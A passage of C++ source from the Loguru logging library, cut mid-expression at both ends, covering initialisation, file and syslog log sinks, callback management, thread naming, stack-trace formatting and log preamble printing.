(!getcwd(s_current_dir, sizeof(s_current_dir))) {\n\t\t\tconst auto error_text = errno_as_text();\n\t\t\tLOG_F(WARNING, \"Failed to get current working directory: \" LOGURU_FMT(s) \"\", error_text.c_str());\n\t\t}\n\n\t\ts_arguments = \"\";\n\t\tfor (int i = 0; i < argc; ++i) {\n\t\t\tescape(s_arguments, argv[i]);\n\t\t\tif (i + 1 < argc) {\n\t\t\t\ts_arguments += \" \";\n\t\t\t}\n\t\t}\n\n\t\tif (options.verbosity_flag) {\n\t\t\tparse_args(argc, argv, options.verbosity_flag);\n\t\t}\n\n\t\tif (const auto main_thread_name = options.main_thread_name) {\n#if LOGURU_PTLS_NAMES || LOGURU_WINTHREADS\n\t\t\tset_thread_name(main_thread_name);\n#elif LOGURU_PTHREADS\n\t\t\tchar old_thread_name[16] = { 0 };\n\t\t\tauto this_thread = pthread_self();\n#if defined(__APPLE__) || defined(__linux__) || defined(__sun)\n\t\t\tpthread_getname_np(this_thread, old_thread_name, sizeof(old_thread_name));\n#endif\n\t\t\tif (old_thread_name[0] == 0) {\n#ifdef __APPLE__\n\t\t\t\tpthread_setname_np(main_thread_name);\n#elif defined(__FreeBSD__) || defined(__OpenBSD__)\n\t\t\t\tpthread_set_name_np(this_thread, main_thread_name);\n#elif defined(__linux__) || defined(__sun)\n\t\t\t\tpthread_setname_np(this_thread, main_thread_name);\n#endif\n\t\t\t}\n#endif // LOGURU_PTHREADS\n\t\t}\n\n\t\tif (g_stderr_verbosity >= Verbosity_INFO) {\n\t\t\tif (g_preamble_header) {\n\t\t\t\tchar preamble_explain[LOGURU_PREAMBLE_WIDTH];\n\t\t\t\tprint_preamble_header(preamble_explain, sizeof(preamble_explain));\n\t\t\t\tif (g_colorlogtostderr && s_terminal_has_color) {\n\t\t\t\t\tfprintf(stderr, \"%s%s%s\\n\", terminal_reset(), terminal_dim(), preamble_explain);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tfprintf(stderr, \"%s\\n\", preamble_explain);\n\t\t\t\t}\n\t\t\t}\n\t\t\tfflush(stderr);\n\t\t}\n\t\tVLOG_F(g_internal_verbosity, \"arguments: \" LOGURU_FMT(s) \"\", s_arguments.c_str());\n\t\tif (strlen(s_current_dir) != 0)\n\t\t{\n\t\t\tVLOG_F(g_internal_verbosity, \"Current dir: \" LOGURU_FMT(s) \"\", s_current_dir);\n\t\t}\n\t\tVLOG_F(g_internal_verbosity, \"stderr verbosity: \" LOGURU_FMT(d) \"\", g_stderr_verbosity);\n\t\tVLOG_F(g_internal_verbosity, \"-----------------------------------\");\n\n\t\tinstall_signal_handlers(options.signal_options);\n\n\t\tatexit(on_atexit);\n\t}\n\n\tvoid shutdown()\n\t{\n\t\tVLOG_F(g_internal_verbosity, \"loguru::shutdown()\");\n\t\tremove_all_callbacks();\n\t\tset_fatal_handler(nullptr);\n\t\tset_verbosity_to_name_callback(nullptr);\n\t\tset_name_to_verbosity_callback(nullptr);\n\t}\n\n\tvoid write_date_time(char* buff, unsigned long long buff_size)\n\t{\n\t\tauto now = system_clock::now();\n\t\tlong long ms_since_epoch = duration_cast<milliseconds>(now.time_since_epoch()).count();\n\t\ttime_t sec_since_epoch = time_t(ms_since_epoch / 1000);\n\t\ttm time_info;\n\t\tlocaltime_r(&sec_since_epoch, &time_info);\n\t\tsnprintf(buff, buff_size, \"%04d%02d%02d_%02d%02d%02d.%03lld\",\n\t\t\t1900 + time_info.tm_year, 1 + time_info.tm_mon, time_info.tm_mday,\n\t\t\ttime_info.tm_hour, time_info.tm_min, time_info.tm_sec, ms_since_epoch % 1000);\n\t}\n\n\tconst char* argv0_filename()\n\t{\n\t\treturn s_argv0_filename.c_str();\n\t}\n\n\tconst char* arguments()\n\t{\n\t\treturn s_arguments.c_str();\n\t}\n\n\tconst char* current_dir()\n\t{\n\t\treturn s_current_dir;\n\t}\n\n\tconst char* home_dir()\n\t{\n#ifdef __MINGW32__\n\t\tauto home = getenv(\"USERPROFILE\");\n\t\tCHECK_F(home != nullptr, \"Missing USERPROFILE\");\n\t\treturn home;\n#elif defined(_WIN32)\n\t\tchar* user_profile;\n\t\tsize_t len;\n\t\terrno_t err = _dupenv_s(&user_profile, &len, \"USERPROFILE\");\n\t\tCHECK_F(err == 0, \"Missing USERPROFILE\");\n\t\treturn user_profile;\n#else // _WIN32\n\t\tauto home = getenv(\"HOME\");\n\t\tCHECK_F(home != nullptr, \"Missing HOME\");\n\t\treturn home;\n#endif // _WIN32\n\t}\n\n\tvoid suggest_log_path(const char* prefix, char* buff, unsigned long long buff_size)\n\t{\n\t\tif (prefix[0] == '~') {\n\t\t\tsnprintf(buff, buff_size - 1, \"%s%s\", home_dir(), prefix + 1);\n\t\t}\n\t\telse {\n\t\t\tsnprintf(buff, buff_size - 1, \"%s\", prefix);\n\t\t}\n\n\t\t// Check for terminating /\n\t\tsize_t n = strlen(buff);\n\t\tif (n != 0) {\n\t\t\tif (buff[n - 1] != '/') {\n\t\t\t\tCHECK_F(n + 2 < buff_size, \"Filename buffer too small\");\n\t\t\t\tbuff[n] = '/';\n\t\t\t\tbuff[n + 1] = '\\0';\n\t\t\t}\n\t\t}\n\n#ifdef _WIN32\n\t\tstrncat_s(buff, buff_size - strlen(buff) - 1, s_argv0_filename.c_str(), buff_size - strlen(buff) - 1);\n\t\tstrncat_s(buff, buff_size - strlen(buff) - 1, \"/\", buff_size - strlen(buff) - 1);\n\t\twrite_date_time(buff + strlen(buff), buff_size - strlen(buff));\n\t\tstrncat_s(buff, buff_size - strlen(buff) - 1, \".log\", buff_size - strlen(buff) - 1);\n#else\n\t\tstrncat(buff, s_argv0_filename.c_str(), buff_size - strlen(buff) - 1);\n\t\tstrncat(buff, \"/\", buff_size - strlen(buff) - 1);\n\t\twrite_date_time(buff + strlen(buff), buff_size - strlen(buff));\n\t\tstrncat(buff, \".log\", buff_size - strlen(buff) - 1);\n#endif\n\t}\n\n\tbool create_directories(const char* file_path_const)\n\t{\n\t\tCHECK_F(file_path_const && *file_path_const);\n\t\tchar* file_path = STRDUP(file_path_const);\n\t\tfor (char* p = strchr(file_path + 1, '/'); p; p = strchr(p + 1, '/')) {\n\t\t\t*p = '\\0';\n\n#ifdef _WIN32\n\t\t\tif (_mkdir(file_path) == -1) {\n#else\n\t\t\tif (mkdir(file_path, 0755) == -1) {\n#endif\n\t\t\t\tif (errno != EEXIST) {\n\t\t\t\t\tLOG_F(ERROR, \"Failed to create directory '\" LOGURU_FMT(s) \"'\", file_path);\n\t\t\t\t\tLOG_IF_F(ERROR, errno == EACCES, \"EACCES\");\n\t\t\t\t\tLOG_IF_F(ERROR, errno == ENAMETOOLONG, \"ENAMETOOLONG\");\n\t\t\t\t\tLOG_IF_F(ERROR, errno == ENOENT, \"ENOENT\");\n\t\t\t\t\tLOG_IF_F(ERROR, errno == ENOTDIR, \"ENOTDIR\");\n\t\t\t\t\tLOG_IF_F(ERROR, errno == ELOOP, \"ELOOP\");\n\n\t\t\t\t\t*p = '/';\n\t\t\t\t\tfree(file_path);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\t*p = '/';\n\t\t\t}\n\t\tfree(file_path);\n\t\treturn true;\n\t\t}\n\tbool add_file(const char* path_in, FileMode mode, Verbosity verbosity)\n\t{\n\t\tchar path[PATH_MAX];\n\t\tif (path_in[0] == '~') {\n\t\t\tsnprintf(path, sizeof(path) - 1, \"%s%s\", home_dir(), path_in + 1);\n\t\t}\n\t\telse {\n\t\t\tsnprintf(path, sizeof(path) - 1, \"%s\", path_in);\n\t\t}\n\n\t\tif (!create_directories(path)) {\n\t\t\tLOG_F(ERROR, \"Failed to create directories to '\" LOGURU_FMT(s) \"'\", path);\n\t\t}\n\n\t\tconst char* mode_str = (mode == FileMode::Truncate ? \"w\" : \"a\");\n\t\tFILE* file;\n#ifdef _WIN32\n\t\tfile = _fsopen(path, mode_str, _SH_DENYNO);\n#else\n\t\tfile = fopen(path, mode_str);\n#endif\n\t\tif (!file) {\n\t\t\tLOG_F(ERROR, \"Failed to open '\" LOGURU_FMT(s) \"'\", path);\n\t\t\treturn false;\n\t\t}\n#if LOGURU_WITH_FILEABS\n\t\tFileAbs* file_abs = new FileAbs(); // this is deleted in file_close;\n\t\tsnprintf(file_abs->path, sizeof(file_abs->path) - 1, \"%s\", path);\n\t\tsnprintf(file_abs->mode_str, sizeof(file_abs->mode_str) - 1, \"%s\", mode_str);\n\t\tstat(file_abs->path, &file_abs->st);\n\t\tfile_abs->fp = file;\n\t\tfile_abs->verbosity = verbosity;\n\t\tadd_callback(path_in, file_log, file_abs, verbosity, file_close, file_flush);\n#else\n\t\tadd_callback(path_in, file_log, file, verbosity, file_close, file_flush);\n#endif\n\n\t\tif (mode == FileMode::Append) {\n\t\t\tfprintf(file, \"\\n\\n\\n\\n\\n\");\n\t\t}\n\t\tif (!s_arguments.empty()) {\n\t\t\tfprintf(file, \"arguments: %s\\n\", s_arguments.c_str());\n\t\t}\n\t\tif (strlen(s_current_dir) != 0) {\n\t\t\tfprintf(file, \"Current dir: %s\\n\", s_current_dir);\n\t\t}\n\t\tfprintf(file, \"File verbosity level: %d\\n\", verbosity);\n\t\tif (g_preamble_header) {\n\t\t\tchar preamble_explain[LOGURU_PREAMBLE_WIDTH];\n\t\t\tprint_preamble_header(preamble_explain, sizeof(preamble_explain));\n\t\t\tfprintf(file, \"%s\\n\", preamble_explain);\n\t\t}\n\t\tfflush(file);\n\n\t\tVLOG_F(g_internal_verbosity, \"Logging to '\" LOGURU_FMT(s) \"', mode: '\" LOGURU_FMT(s) \"', verbosity: \" LOGURU_FMT(d) \"\", path, mode_str, verbosity);\n\t\treturn true;\n\t}\n\n\t/*\n\t\tWill add syslog as a standard sink for log messages\n\t\tAny logging message with a verbosity lower or equal to\n\t\tthe given verbosity will be included.\n\n\t\tThis works for Unix like systems (i.e. Linux/Mac)\n\t\tThere is no current implementation for Windows (as I don't know the\n\t\tequivalent calls or have a way to test them). If you know please\n\t\tadd and send a pull request.\n\n\t\tThe code should still compile under windows but will only generate\n\t\ta warning message that syslog is unavailable.\n\n\t\tSearch for LOGURU_SYSLOG to find and fix.\n\t*/\n\tbool add_syslog(const char* app_name, Verbosity verbosity)\n\t{\n\t\treturn add_syslog(app_name, verbosity, LOG_USER);\n\t}\n\tbool add_syslog(const char* app_name, Verbosity verbosity, int facility)\n\t{\n#if LOGURU_SYSLOG\n\t\tif (app_name == nullptr) {\n\t\t\tapp_name = argv0_filename();\n\t\t}\n\t\topenlog(app_name, 0, facility);\n\t\tadd_callback(\"'syslog'\", syslog_log, nullptr, verbosity, syslog_close, syslog_flush);\n\n\t\tVLOG_F(g_internal_verbosity, \"Logging to 'syslog' , verbosity: \" LOGURU_FMT(d) \"\", verbosity);\n\t\treturn true;\n#else\n\t\t(void)app_name;\n\t\t(void)verbosity;\n\t\t(void)facility;\n\t\tVLOG_F(g_internal_verbosity, \"syslog not implemented on this system. Request to install syslog logging ignored.\");\n\t\treturn false;\n#endif\n\t}\n\t// Will be called right before abort().\n\tvoid set_fatal_handler(fatal_handler_t handler)\n\t{\n\t\ts_fatal_handler = handler;\n\t}\n\n\tfatal_handler_t get_fatal_handler()\n\t{\n\t\treturn s_fatal_handler;\n\t}\n\n\tvoid set_verbosity_to_name_callback(verbosity_to_name_t callback)\n\t{\n\t\ts_verbosity_to_name_callback = callback;\n\t}\n\n\tvoid set_name_to_verbosity_callback(name_to_verbosity_t callback)\n\t{\n\t\ts_name_to_verbosity_callback = callback;\n\t}\n\n\tvoid add_stack_cleanup(const char* find_this, const char* replace_with_this)\n\t{\n\t\tif (strlen(find_this) <= strlen(replace_with_this)) {\n\t\t\tLOG_F(WARNING, \"add_stack_cleanup: the replacement should be shorter than the pattern!\");\n\t\t\treturn;\n\t\t}\n\n\t\ts_user_stack_cleanups.push_back(StringPair(find_this, replace_with_this));\n\t}\n\n\tstatic void on_callback_change()\n\t{\n\t\ts_max_out_verbosity = Verbosity_OFF;\n\t\tfor (const auto& callback : s_callbacks) {\n\t\t\ts_max_out_verbosity = std::max(s_max_out_verbosity, callback.verbosity);\n\t\t}\n\t}\n\n\tvoid add_callback(\n\t\tconst char* id,\n\t\tlog_handler_t   callback,\n\t\tvoid* user_data,\n\t\tVerbosity       verbosity,\n\t\tclose_handler_t on_close,\n\t\tflush_handler_t on_flush)\n\t{\n\t\tstd::lock_guard<std::recursive_mutex> lock(s_mutex);\n\t\ts_callbacks.push_back(Callback{ id, callback, user_data, verbosity, on_close, on_flush, 0 });\n\t\ton_callback_change();\n\t}\n\n\t// Returns a custom verbosity name if one is available, or nullptr.\n\t// See also set_verbosity_to_name_callback.\n\tconst char* get_verbosity_name(Verbosity verbosity)\n\t{\n\t\tauto name = s_verbosity_to_name_callback\n\t\t\t? (*s_verbosity_to_name_callback)(verbosity)\n\t\t\t: nullptr;\n\n\t\t// Use standard replacements if callback fails:\n\t\tif (!name)\n\t\t{\n\t\t\tif (verbosity <= Verbosity_FATAL) {\n\t\t\t\tname = \"FATL\";\n\t\t\t}\n\t\t\telse if (verbosity == Verbosity_ERROR) {\n\t\t\t\tname = \"ERR\";\n\t\t\t}\n\t\t\telse if (verbosity == Verbosity_WARNING) {\n\t\t\t\tname = \"WARN\";\n\t\t\t}\n\t\t\telse if (verbosity == Verbosity_INFO) {\n\t\t\t\tname = \"INFO\";\n\t\t\t}\n\t\t}\n\n\t\treturn name;\n\t}\n\n\t// Returns Verbosity_INVALID if the name is not found.\n\t// See also set_name_to_verbosity_callback.\n\tVerbosity get_verbosity_from_name(const char* name)\n\t{\n\t\tauto verbosity = s_name_to_verbosity_callback\n\t\t\t? (*s_name_to_verbosity_callback)(name)\n\t\t\t: Verbosity_INVALID;\n\n\t\t// Use standard replacements if callback fails:\n\t\tif (verbosity == Verbosity_INVALID) {\n\t\t\tif (strcmp(name, \"OFF\") == 0) {\n\t\t\t\tverbosity = Verbosity_OFF;\n\t\t\t}\n\t\t\telse if (strcmp(name, \"INFO\") == 0) {\n\t\t\t\tverbosity = Verbosity_INFO;\n\t\t\t}\n\t\t\telse if (strcmp(name, \"WARNING\") == 0) {\n\t\t\t\tverbosity = Verbosity_WARNING;\n\t\t\t}\n\t\t\telse if (strcmp(name, \"ERROR\") == 0) {\n\t\t\t\tverbosity = Verbosity_ERROR;\n\t\t\t}\n\t\t\telse if (strcmp(name, \"FATAL\") == 0) {\n\t\t\t\tverbosity = Verbosity_FATAL;\n\t\t\t}\n\t\t}\n\n\t\treturn verbosity;\n\t}\n\n\tbool remove_callback(const char* id)\n\t{\n\t\tstd::lock_guard<std::recursive_mutex> lock(s_mutex);\n\t\tauto it = std::find_if(begin(s_callbacks), end(s_callbacks), [&](const Callback& c) { return c.id == id; });\n\t\tif (it != s_callbacks.end()) {\n\t\t\tif (it->close) { it->close(it->user_data); }\n\t\t\ts_callbacks.erase(it);\n\t\t\ton_callback_change();\n\t\t\treturn true;\n\t\t}\n\t\telse {\n\t\t\tLOG_F(ERROR, \"Failed to locate callback with id '\" LOGURU_FMT(s) \"'\", id);\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tvoid remove_all_callbacks()\n\t{\n\t\tstd::lock_guard<std::recursive_mutex> lock(s_mutex);\n\t\tfor (auto& callback : s_callbacks) {\n\t\t\tif (callback.close) {\n\t\t\t\tcallback.close(callback.user_data);\n\t\t\t}\n\t\t}\n\t\ts_callbacks.clear();\n\t\ton_callback_change();\n\t}\n\n\t// Returns the maximum of g_stderr_verbosity and all file/custom outputs.\n\tVerbosity current_verbosity_cutoff()\n\t{\n\t\treturn g_stderr_verbosity > s_max_out_verbosity ?\n\t\t\tg_stderr_verbosity : s_max_out_verbosity;\n\t}\n\n\t// ------------------------------------------------------------------------\n\t// Threads names\n\n#if LOGURU_PTLS_NAMES\n\tstatic pthread_once_t s_pthread_key_once = PTHREAD_ONCE_INIT;\n\tstatic pthread_key_t  s_pthread_key_name;\n\n\tvoid make_pthread_key_name()\n\t{\n\t\t(void)pthread_key_create(&s_pthread_key_name, free);\n\t}\n#endif\n\n#if LOGURU_WINTHREADS\n\t// Where we store the custom thread name set by `set_thread_name`\n\tchar* thread_name_buffer()\n\t{\n\t\t__declspec(thread) static char thread_name[LOGURU_THREADNAME_WIDTH + 1] = { 0 };\n\t\treturn &thread_name[0];\n\t}\n#endif // LOGURU_WINTHREADS\n\n\tvoid set_thread_name(const char* name)\n\t{\n#if LOGURU_PTLS_NAMES\n\t\t// Store thread name in thread-local storage at `s_pthread_key_name`\n\t\t(void)pthread_once(&s_pthread_key_once, make_pthread_key_name);\n\t\t(void)pthread_setspecific(s_pthread_key_name, STRDUP(name));\n#elif LOGURU_PTHREADS\n\t\t// Tell the OS the thread name\n#ifdef __APPLE__\n\t\tpthread_setname_np(name);\n#elif defined(__FreeBSD__) || defined(__OpenBSD__)\n\t\tpthread_set_name_np(pthread_self(), name);\n#elif defined(__linux__) || defined(__sun)\n\t\tpthread_setname_np(pthread_self(), name);\n#endif\n#elif LOGURU_WINTHREADS\n\t\t// Store thread name in a thread-local storage:\n\t\tstrncpy_s(thread_name_buffer(), LOGURU_THREADNAME_WIDTH + 1, name, _TRUNCATE);\n#else // LOGURU_PTHREADS\n\t\t// TODO: on these weird platforms we should also store the thread name\n\t\t// in a generic thread-local storage.\n\t\t(void)name;\n#endif // LOGURU_PTHREADS\n\t}\n\n\tvoid get_thread_name(char* buffer, unsigned long long length, bool right_align_hex_id)\n\t{\n\t\tCHECK_NE_F(length, 0u, \"Zero length buffer in get_thread_name\");\n\t\tCHECK_NOTNULL_F(buffer, \"nullptr in get_thread_name\");\n\n#if LOGURU_PTLS_NAMES\n\t\t(void)pthread_once(&s_pthread_key_once, make_pthread_key_name);\n\t\tif (const char* name = static_cast<const char*>(pthread_getspecific(s_pthread_key_name))) {\n\t\t\tsnprintf(buffer, static_cast<size_t>(length), \"%s\", name);\n\t\t}\n\t\telse {\n\t\t\tbuffer[0] = 0;\n\t\t}\n#elif LOGURU_PTHREADS\n\t\t// Ask the OS about the thread name.\n\t\t// This is what we *want* to do on all platforms, but\n\t\t// only some platforms support it (currently).\n\t\tpthread_getname_np(pthread_self(), buffer, length);\n#elif LOGURU_WINTHREADS\n\t\tsnprintf(buffer, static_cast<size_t>(length), \"%s\", thread_name_buffer());\n#else\n\t\t// Thread names unsupported\n\t\tbuffer[0] = 0;\n#endif\n\n\t\tif (buffer[0] == 0) {\n\t\t\t// We failed to get a readable thread name.\n\t\t\t// Write a HEX thread ID instead.\n\t\t\t// We try to get an ID that is the same as the ID you could\n\t\t\t// read in your debugger, system monitor etc.\n\n#ifdef __APPLE__\n\t\t\tuint64_t thread_id;\n\t\t\tpthread_threadid_np(pthread_self(), &thread_id);\n#elif defined(__FreeBSD__)\n\t\t\tlong thread_id;\n\t\t\t(void)thr_self(&thread_id);\n#elif LOGURU_PTHREADS\n\t\t\tuint64_t thread_id = pthread_self();\n#else\n\t// This ID does not correllate to anything we can get from the OS,\n\t// so this is the worst way to get the ID.\n\t\t\tconst auto thread_id = std::hash<std::thread::id>{}(std::this_thread::get_id());\n#endif\n\n\t\t\tif (right_align_hex_id) {\n\t\t\t\tsnprintf(buffer, static_cast<size_t>(length), \"%*X\", static_cast<int>(length - 1), static_cast<unsigned>(thread_id));\n\t\t\t}\n\t\t\telse {\n\t\t\t\tsnprintf(buffer, static_cast<size_t>(length), \"%X\", static_cast<unsigned>(thread_id));\n\t\t\t}\n\t\t}\n\t}\n\n\t// ------------------------------------------------------------------------\n\t// Stack traces\n\n#if LOGURU_STACKTRACES\n\tText demangle(const char* name)\n\t{\n\t\tint status = -1;\n\t\tchar* demangled = abi::__cxa_demangle(name, 0, 0, &status);\n\t\tText result{ status == 0 ? demangled : STRDUP(name) };\n\t\treturn result;\n\t}\n\n#if LOGURU_RTTI\n\ttemplate <class T>\n\tstd::string type_name()\n\t{\n\t\tauto demangled = demangle(typeid(T).name());\n\t\treturn demangled.c_str();\n\t}\n#endif // LOGURU_RTTI\n\n\tstatic const StringPairList REPLACE_LIST = {\n\t\t#if LOGURU_RTTI\n\t\t\t{ type_name<std::string>(),    \"std::string\"    },\n\t\t\t{ type_name<std::wstring>(),   \"std::wstring\"   },\n\t\t\t{ type_name<std::u16string>(), \"std::u16string\" },\n\t\t\t{ type_name<std::u32string>(), \"std::u32string\" },\n\t\t#endif // LOGURU_RTTI\n\t\t{ \"std::__1::\",                \"std::\"          },\n\t\t{ \"__thiscall \",               \"\"               },\n\t\t{ \"__cdecl \",                  \"\"               },\n\t};\n\n\tvoid do_replacements(const StringPairList & replacements, std::string & str)\n\t{\n\t\tfor (auto&& p : replacements) {\n\t\t\tif (p.first.size() <= p.second.size()) {\n\t\t\t\t// On gcc, \"type_name<std::string>()\" is \"std::string\"\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tsize_t it;\n\t\t\twhile ((it = str.find(p.first)) != std::string::npos) {\n\t\t\t\tstr.replace(it, p.first.size(), p.second);\n\t\t\t}\n\t\t}\n\t}\n\n\tstd::string prettify_stacktrace(const std::string & input)\n\t{\n\t\tstd::string output = input;\n\n\t\tdo_replacements(s_user_stack_cleanups, output);\n\t\tdo_replacements(REPLACE_LIST, output);\n\n\t\ttry {\n\t\t\tstd::regex std_allocator_re(R\"(,\\s*std::allocator<[^<>]+>)\");\n\t\t\toutput = std::regex_replace(output, std_allocator_re, std::string(\"\"));\n\n\t\t\tstd::regex template_spaces_re(R\"(<\\s*([^<> ]+)\\s*>)\");\n\t\t\toutput = std::regex_replace(output, template_spaces_re, std::string(\"<$1>\"));\n\t\t}\n\t\tcatch (std::regex_error&) {\n\t\t\t// Probably old GCC.\n\t\t}\n\n\t\treturn output;\n\t}\n\n\tstd::string stacktrace_as_stdstring(int skip)\n\t{\n\t\t// From https://gist.github.com/fmela/591333\n\t\tvoid* callstack[128];\n\t\tconst auto max_frames = sizeof(callstack) / sizeof(callstack[0]);\n\t\tint num_frames = backtrace(callstack, max_frames);\n\t\tchar** symbols = backtrace_symbols(callstack, num_frames);\n\n\t\tstd::string result;\n\t\t// Print stack traces so the most relevant ones are written last\n\t\t// Rationale: http://yellerapp.com/posts/2015-01-22-upside-down-stacktraces.html\n\t\tfor (int i = num_frames - 1; i >= skip; --i) {\n\t\t\tchar buf[1024];\n\t\t\tDl_info info;\n\t\t\tif (dladdr(callstack[i], &info) && info.dli_sname) {\n\t\t\t\tchar* demangled = NULL;\n\t\t\t\tint status = -1;\n\t\t\t\tif (info.dli_sname[0] == '_') {\n\t\t\t\t\tdemangled = abi::__cxa_demangle(info.dli_sname, 0, 0, &status);\n\t\t\t\t}\n\t\t\t\tsnprintf(buf, sizeof(buf), \"%-3d %*p %s + %zd\\n\",\n\t\t\t\t\ti - skip, int(2 + sizeof(void*) * 2), callstack[i],\n\t\t\t\t\tstatus == 0 ? demangled :\n\t\t\t\t\tinfo.dli_sname == 0 ? symbols[i] : info.dli_sname,\n\t\t\t\t\tstatic_cast<char*>(callstack[i]) - static_cast<char*>(info.dli_saddr));\n\t\t\t\tfree(demangled);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tsnprintf(buf, sizeof(buf), \"%-3d %*p %s\\n\",\n\t\t\t\t\ti - skip, int(2 + sizeof(void*) * 2), callstack[i], symbols[i]);\n\t\t\t}\n\t\t\tresult += buf;\n\t\t}\n\t\tfree(symbols);\n\n\t\tif (num_frames == max_frames) {\n\t\t\tresult = \"[truncated]\\n\" + result;\n\t\t}\n\n\t\tif (!result.empty() && result[result.size() - 1] == '\\n') {\n\t\t\tresult.resize(result.size() - 1);\n\t\t}\n\n\t\treturn prettify_stacktrace(result);\n\t}\n\n#else // LOGURU_STACKTRACES\n\tText demangle(const char* name)\n\t{\n\t\treturn Text(STRDUP(name));\n\t}\n\n\tstd::string stacktrace_as_stdstring(int)\n\t{\n\t\t// No stacktraces available on this platform\"\n\t\treturn \"\";\n\t}\n\n#endif // LOGURU_STACKTRACES\n\n\tText stacktrace(int skip)\n\t{\n\t\tauto str = stacktrace_as_stdstring(skip + 1);\n\t\treturn Text(STRDUP(str.c_str()));\n\t}\n\n\t// ------------------------------------------------------------------------\n\n\tstatic void print_preamble_header(char* out_buff, size_t out_buff_size)\n\t{\n\t\tif (out_buff_size == 0) { return; }\n\t\tout_buff[0] = '\\0';\n\t\tsize_t pos = 0;\n\t\tif (g_preamble_date && pos < out_buff_size) {\n\t\t\tint bytes = snprintf(out_buff + pos, out_buff_size - pos, \"date       \");\n\t\t\tif (bytes > 0) {\n\t\t\t\tpos += bytes;\n\t\t\t}\n\t\t}\n\t\tif (g_preamble_time && pos < out_buff_size) {\n\t\t\tint bytes = snprintf(out_buff + pos, out_buff_size - pos, \"time         \");\n\t\t\tif (bytes > 0) {\n\t\t\t\tpos += bytes;\n\t\t\t}\n\t\t}\n\t\tif (g_preamble_uptime && pos < out_buff_size) {\n\t\t\tint bytes = snprintf(out_buff + pos, out_buff_size - pos, \"( uptime  ) \");\n\t\t\tif (bytes > 0) {\n\t\t\t\tpos += bytes;\n\t\t\t}\n\t\t}\n\t\tif (g_preamble_thread && pos < out_buff_size) {\n\t\t\tint bytes = snprintf(out_buff + pos, out_buff_size - pos, \"[%-*s]\", LOGURU_THREADNAME_WIDTH, \" thread name/id\");\n\t\t\tif (bytes > 0) {\n\t\t\t\tpos += bytes;\n\t\t\t}\n\t\t}\n\t\tif (g_preamble_file && pos < out_buff_size) {\n\t\t\tint bytes = snprintf(out_buff + pos, out_buff_size - pos, \"%*s:line  \", LOGURU_FILENAME_WIDTH, \"file\");\n\t\t\tif (bytes > 0) {\n\t\t\t\tpos += bytes;\n\t\t\t}\n\t\t}\n\t\tif (g_preamble_verbose && pos < out_buff_size) {\n\t\t\tint bytes = snprintf(out_buff + pos, out_buff_size - pos, \"   v\");\n\t\t\tif (bytes > 0) {\n\t\t\t\tpos += bytes;\n\t\t\t}\n\t\t}\n\t\tif (g_preamble_pipe && pos < out_buff_size) {\n\t\t\tint bytes = snprintf(out_buff + pos, out_buff_size - pos, \"| \");\n\t\t\tif (bytes > 0) {\n\t\t\t\tpos += bytes;\n\t\t\t}\n\t\t}\n\t}\n\n\tstatic void print_preamble(char* out_buff, size_t out_buff_size, Verbosity verbosity, const char* file, unsigned line)\n\t{\n\t\tif (out_buff_size == 0) { return; }\n\t\tout_buff[0] = '\\0';\n\t\tif (!g_preamble) { return; }\n\t\tlong long ms_since_epoch = duration_cast<milliseconds>(system_clock::now().time_since_epoch()).count();\n\t\ttime_t sec_since_epoch = time_t(ms_since_epoch / 1000);\n\t\ttm time_info;\n\t\tlocaltime_r(&sec_since_epoch, &time_info);\n\n\t\tauto uptime_ms = duration_cast<milliseconds>(steady_clock::now() - s_start_time).count();\n\t\tauto uptime_sec = static_cast<double> (uptime_ms) / 1000.0;\n\n\t\tchar thread_name[LOGURU_THREADNAME_WIDTH + 1] = { 0 };\n\t\tget_thread_name(thread_name, LOGURU_THREADNAME_WIDTH + 1, true);\n\n\t\tif (s_strip_file_path) {\n\t\t\tfile = filename(file);\n\t\t}\n\n\t\tchar level_buff[6];\n\t\tconst char* custom_level_name = get_verbosity_name(verbosity);\n\t\tif (custom_level_name) {\n\t\t\tsnprintf(level_buff, sizeof(level_buff) - 1, \"%s\", custom_level_name);\n\t\t}\n\t\telse {\n\t\t\tsnprintf(level_buff, sizeof(level_buff) - 1, \"% 4d\", static_cast<int8_t>(verbosity));\n\t\t}\n\n\t\tsize_t pos = 0;\n\n\t\tif (g_preamble_date && pos < out_buff_size) {\n\t\t\tint bytes = snprintf(out_buff + pos, out_buff_size - pos, \"%04d-%02d-%02d \",\n\t\t\t\t1900 + time_info.tm_year, 1 + time_info.tm_mon, time_info.tm_mday);\n\t\t\tif (bytes > 0) {\n\t\t\t\tpos += bytes;\n\t\t\t}\n\t\t}\n\t\tif (g_preamble_time && pos < out_buff_size) {\n\t\t\tint bytes = snprintf(out_buff + pos, out_buff_size - pos, \"%02d:%02d:%02d.%03lld \",\n\t\t\t\ttime_info.tm_hour, time_info.tm_min, time_info.tm_sec, ms_since_epoch % 1000);\n\t\t\tif (bytes > 0) {\n\t\t\t\tpos += bytes;\n\t\t\t}\n\t\t}\n\t\tif (g_preamble_uptime && pos < out_buff_size) {\n\t\t\tint bytes = snprintf(out_buff + pos, out_buff_size - pos, \"(%8.3fs) \",\n\t\t\t\tuptime_sec);\n\t\t\tif (bytes > 0) {\n\t\t\t\tpos += bytes;\n\t\t\t}\n\t\t}\n\t\tif (g_preamble_thread && pos < out_buff_size) {\n\t\t\tint bytes = snprintf(out_buff + pos, out_buff_size - pos, \"[%-*s]\",\n\t\t\t\tLOGURU_THREADNAME_WIDTH, thread_name);\n\t\t\tif (bytes > 0) {\n\t\t\t\tpos += bytes;\n\t\t\t}\n\t\t}\n\t\tif (g_preamble_file && pos < out_buff_size) {\n\t\t\tchar shortened_filename[LOGURU_FILENAME_WIDTH + 1];\n\t\t\tsnprintf(shortened_filename, LOGURU_FILENAME_WIDTH + 1, \"%s\", file);\n\t\t\tint bytes = snprintf(out_buff + pos, out_buff_size - pos, \"%*s:%-5u \",\n\t\t\t\tLOGURU_FILENAME_WIDTH, shortened_filename, line);\n\t\t\tif (bytes > 0) {\n\t\t\t\tpos += bytes;\n\t\t\t}\n\t\t}\n\t\tif (g_preamble_verbose && pos < out_buff_size) {\n\t\t\tint bytes = snprintf(out_buff + pos, out_buff_size - pos, \"%4s\",\n\t\t\t\tlevel_buff);\n\t\t\tif (bytes > 0) {\n\t\t\t\tpos += bytes;\n\t\t\t}\n\t\t}\n\t\tif (g_preamble_pipe && pos < out_buff_size) {\n\t\t\tint bytes = snprintf(out_buff + pos, out_buff_size - pos, 